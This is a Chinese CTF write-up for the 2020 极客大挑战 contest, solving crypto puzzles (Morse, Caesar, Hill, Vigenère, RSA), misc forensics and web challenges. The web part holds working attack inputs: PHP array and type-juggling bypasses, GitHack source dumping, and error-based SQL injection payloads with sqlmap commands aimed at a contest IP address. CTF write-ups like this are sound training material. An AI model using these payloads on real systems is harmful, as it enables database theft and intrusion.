极客大挑战2020wp
目录
Crypto
1. 二战情报员刘壮
简介:你能知道刘壮在说什么?得到的flag包裹上SYC{} .-…/.----/…-/–…/…/…-/…-/-./–./…–.-/…/…–.-/–…/.----/-.–/.----
提示:刘壮早上起床打摩丝
提交flag,发现错误,转换成小写还是不对,查看了一下群里给的hint,成功提交
2. 铠甲与萨满
简介:YEI{roafnagtmroafnagtm_hgtmhgtmhgtm}
提示:kaisa?
偏移量为6时,得到flag
3. 跳跃的指尖
题目描述:wdr qsz awdx thu xdv eft thu ol rgy ilp(注意请将请将答案套上SYC{}提交)
键盘密码,看键盘即可得到flag
SYC{easycrypto}
5. 成都养猪二厂
题目描述:v先生家里蛮大的,还有很多啤酒。v先生之所以能过上这样快哉的生活可能是因为他的养猪场厂围上了高高的栅栏
提示:flag格式 SYC{xx_xx_xx},除SYC外其他字母小写 单词间隔开添加下划线
是猪圈密码
比对上图转换成英文字母
SSYIRCEEHSAGIULISOLBHY
进行栅栏密码解密,没有找到想要的结果
猜测是W型栅栏密码,果然没错
根据提示处理一下
SYC{his_house_is_really_big}
5. 规规矩矩的工作
题目描述:wlz当年玩蹦蹦蹦为了抽希尔氪了很多钱
hint1:让我看看是谁不好好上线代课?
hint2:decode程序可能加载的有点慢并且请在命令行内运行
cipher.txt内容为
key_encrypt
1 1 1
1 2 3
1 3 6
enc:
12
12
10
是希尔密码
给出的key_encrypt的逆矩阵b为:
3 -3 1
-3 5 -1
1 -2 1
对矩阵b进行mod26,得到矩阵c
3 23 1
23 5 24
1 24 1
矩阵c*矩阵enc得到矩阵d
322
576
310
对矩阵d进行mod26
10
4
24
转换为字母为key
6. Simple calculation
题目描述:也许能在大一那本紫书上找到算法灵感
提示:hint:“The solution of system of linear congruence equations can be provided by the Chinese remainder theorem”
下载附件
使用脚本爆破
for S0 in range(26):
for S1 in range(26):
for S2 in range(26):
for S3 in range(26):
for S4 in range(26):
T1=S0+S1+S2+S3+S4
T2=S0+S1+S2+S3*3+S4*5
T3=S0+S1*2+S2*2+S3*3+S4*3
T4=S0+S1*2+S2*5+S3*3+S4
T5=S0+S1*2+S2+S3*2+S4
if (((T1)%26==3) and ((T2)%26==7) and ((T3)%26==1) and ((T4)%26==1) and ((T5)%26==20)):
print("SYC{"+chr(S0+65)+chr(S1+65)+chr(S2+65)+chr(S3+65)+chr(S4+65)+"}")
运行结果
7. babyRSA
题目描述:因为每晚都有小毛贼翻过v先生的栅栏去对猪圈搞破坏,v先生的养猪场不久就倒闭了。失落的v先生感觉不会再爱这个世界了。在他起身去找工作之前留下了一张纸条。
from Crypto.Util.number import *
from gmpy2 import *
from secret import p,flag
flag = bytes_to_long(bytes(flag,encoding='utf-8'))
q = getPrime(1024)
n = q*p
phi_ = (p-1)*(q-1)
e = 0x10001
d = invert(e,phi_)
c = (pow(flag, e, n))
print(long_to_bytes(pow(c, d, n)))
print((c,q,n))
'''out put
(177177672061025662936587345347268313127241651965256882323180749317515733256088163186914550682635245294414879862810654773207644687262596440870094409378849307188485755700138797651039936445998433830516207630858733090581643592843521203499818069822504434370840254518614785953412492701730326524258672860416318501278155194, 166836705584681518148179737955842605213272207836752187845124149461151181903779374775281529346854786259719545699157508885500818994019618158708212777833768444327658647324555090459233657737950932895018766440119999513331707759691054888319029069397903003240927552065429412176600134636921146805408664505115889561043, 191051885543358947736760989661967468461742175898801910645529003886391047898839624568290216360845330501814019720570327197669064365268607597117598905046895097642708006373182989953758208523010345148200475257538336602695211819055893667974317905617522838840325499754862033348148407978527792816186094297381925119601464149)
'''
给了 c, q, n ,e, 求 flag : flag = pow(c,d,n)
分解n,可得到p=1145143,e = 0x10001转成十进制为65537
import libnum
p = 1145143
q = 166836705584681518148179737955842605213272207836752187845124149461151181903779374775281529346854786259719545699157508885500818994019618158708212777833768444327658647324555090459233657737950932895018766440119999513331707759691054888319029069397903003240927552065429412176600134636921146805408664505115889561043
e = 65537
C = 177177672061025662936587345347268313127241651965256882323180749317515733256088163186914550682635245294414879862810654773207644687262596440870094409378849307188485755700138797651039936445998433830516207630858733090581643592843521203499818069822504434370840254518614785953412492701730326524258672860416318501278155194
#1.求d
d = libnum.invmod(e,(p-1)*(q-1))
#2.求n
n = p*q
#3.m=pow(c,d,n)
flag = pow(C,d,n)
print(libnum.n2s(flag))
结果
8. 韡髻猊岈
简介:题目地址:https://share.weiyun.com/Y5qldy3K
题目描述:v先生最近说话越来越奇怪了
提示:flag格式 SYC{xx_xx_xx},除SYC外其他字母小写
题目名字看不懂,试一下汉字转拼音,原来是维基尼亚密码
直接维基尼亚密码暴力破解
根据提示处理一下flag
SYC{there_is_no_tears_in_vigenere}
MISC
1. 一“页”障目
简介:宣传单里藏了啥?
下载附件,打开发现三段碎片
剪切一下,在word里面拼接
2. 壮言壮语
简介:佛曰:豆梵能佛冥謹沙怯隸道等孕喝伽訶恐奢耶尼殿怯怖奢三缽南怛缽娑皤寫數皤究呐者醯皤勝孕皤顛皤耶夜哆悉侄羯涅悉怯老若俱勝菩知菩所蘇奢以梵世心亦呐耨夷哆至哆醯即波怯明除怯闍怯集怯尼明皤實怯一心缽呼侄羯夢室諳耨呐提迦梵都都呐孕礙諳那呐彌豆缽智遮諳槃提伽俱穆離冥伊冥那藐罰摩迦諳有諳盡即怯多逝侄婆冥涅神
提示:什么是佛曰
3. 秘技·反复横跳
题目描述: 对图片…使用binwalk拳吧!
提示说用binwalk,但是我的binwalk一直报错,只能用foremost了
执行命令foremost FFHT.jpg
生成ouput文件夹
解压zip文件夹里面的压缩包,得到了一个错位的二维码图片
调换一下位置
扫描二维码,得到flag
4. 来拼图
下载附件,一共1600张碎片。。。。
使用ImageMagick工具和gaps工具解题
给出的范例图片source.jpg像素为3840x2160,而每一张碎片图片的像素是90x54,所以想要合成一张图片必须是40x40
使用imagemagick进行合成,得到flag.jpg
montage *jpg -tile 40x40 -geometry 90x54+0+0 flag.jpg
再使用gaps
gaps --image=flag.jpg --generations=40 --population=1600 --size=1000
跑了好长时间,结果图还是乱的,吐了,还是直接手工拼图,找出带有字母的碎片拼接起来
5. 吉普赛歌姬
贴吧搜索DJ南方
其中一个帖子,提到了网易云nightcore电台里面的吉普赛歌姬。
帖子下面的评论发现主播的id
搜索主播id,找到了不知道怎么吐槽了
去找那首吉普赛歌姬,伪·Nightcore电台第182期,就是伪 Nightcore - Gypsy Bard,评论里面有关键密码信息
名字是金秋雨,生日是2月6日
所以最后相册密码是jqy20000206
,flag就在这了
WEB
1. Welcome
题目描述: 欢迎来到极客大挑战!
提示:
In addition to the GET request method, there is another common request method…
访问网址,发现页面405
看提示应该是用Pos request method,用post提交随便提交一个welcome,得到php源码
代码审计
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
$_SERVER['REQUEST_METHOD'] //判断请求方式
isset() //判断是否设定了某个变量
$_POST["submit"]//通过POST提交的变量判断是否存在通过post方式提交过来的变量
show_source()//函数返回高亮处理的代码
!== //如果 $x 不等于 $y,且它们类型不相同,则返回 true。
phpinfo()//显示的是php服务器环境的配置信息
由于sha1()函数无法处理数组类型,将报错并返回false。把roam1和roam1定义成数组,数组的哈希值相同。
Payload:roam1[]=1&roam2[]=2
访问这个文件,使用火狐浏览器,F12查看响应头,得到flag
或者使用burpsuite抓包,查看响应头
2. flagshop
题目描述: 你给我钱,我给你flag,就是这么简单
提示:
1.No sessionid!Don’t Try to be admin(robot?) 2.Do you know csrf?
这题没有做出来,但收集到了大佬的md5截断爆破脚本
#-*- coding: utf-8 -*-
#!/usr/bin/env/python
from multiprocessing.dummy import Pool as tp
import hashlib
knownMd5 = '7af5f' #已知的md5明文
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()
def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:5] == knownMd5:
print(code)
break
list=[]
for i in range(3): #这里的range(number)指爆破出多少结果停止
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp() #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()
3. 朋友的学妹
题目描述:与妹子单独相处一会儿吧
查看源码
Base64解密
4. EZwww
提示:备份是个“好🤺”习惯
英语不太好翻译一下
提到备份文件了,直接试试url/+index.php.bak,直接Not Found
拿御剑扫一下,看到了可疑文件
访问该文件
解压,文件夹里面有个flag.txt文档,打开添加flag
提交发现错误
在文件夹里面还有个index.php文件,打开里面是php代码,搞了半天原来是代码审计问题
把这段代码拿出来审计
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
//this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
post的方式提交一个变量a,如果变量a的值与字符串c3ljbDB2ZXI=
Base64解码后的值相等,则会输出flag。
以post方式提交a=sycl0ver
,拿到true flag。
5. EZgit
提示:当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,嘿嘿嘿。。。
打开cmd,先进入githack路径
cd /d "D:\CTF\webtools\GitHack\GitHack-master"
然后
python2 GitHack.py http://XXXXXXXXXXX/.git/
在文件夹下发现了fl4g.php
打开,发现不是flag
应该有隐藏文件夹,git命令ls -a
,有隐藏文件夹.git
cd .git
然后ls -a
显示文件目录,
一样的操作cd ..
,然后通过git log
命令查看历史记录,看到了一个flag
比对
git diff 3796466675a1db323e42170def92bee71344a2ee
参考:https://www.cnblogs.com/anweilx/p/12453703.html
6. 刘壮的黑页
提示:没有人比我刘壮更懂请求方式
往下划拉,有一段php代码
<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
echo $flag;
}
用get传入参数username=admin,用post传入参数passwd =syclover即可得到flag
7. 我是大黑客
提示:
唉,黑客刘壮利用网站漏洞种下了木马,站长小金跑路了😔
打开该文件
蚁剑连接
flag就在这个文件夹内
8. ezbypass
提示:你相信这世界上有黑魔法吗?
这两句话的意思是:
请使用GET请求传入变量a和b,将它们与strcmp进行比较,并让strcmp返回NULL值。
注意a和b不能相等。
payload:?a[]=1&b[]=2
意思是提交一个不是数字的参数c,使其值等于123
在php中弱类型比较时,会使(‘123a’ == 123)为真,所以我们post一个参数c=123a
9. 带恶人六撞
题目描述:你想了解带恶人六撞吗,数据库里有大家关于他的描述。
手工注入
?id=1'
,从回显结果来看,判断存在sql报错注入
使用extractvalue
函数时,查到数据库名为~geek_sql
Payload: ?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
查看表名,看到了名为fllllag
的表
Payload: ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23
查列名,列名为fllllllag
Payload: ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23
查字段
Payload: ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23
没有回显全部内容,extractvalue()
能查询字符串的最大长度为32,得到flag
Payload: ?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23
使用sqlmap注入
1 .爆库
python2 sqlmap.py -u "http://49.234.224.119:7415/?id=1" --dbs
2 .爆表
python2 sqlmap.py -u "http://49.234.224.119:7415/?id=1" -D geek_sql --tables
3 .爆字段
python2 sqlmap.py -u "http://49.234.224.119:7415/?id=1" -T fllllag --columns
4 .爆值
python2 sqlmap.py -u "http://49.234.224.119:7415/?id=1" -T fllllag -C fllllllag --dump
https://www.cnblogs.com/erR0Ratao/p/14023017.html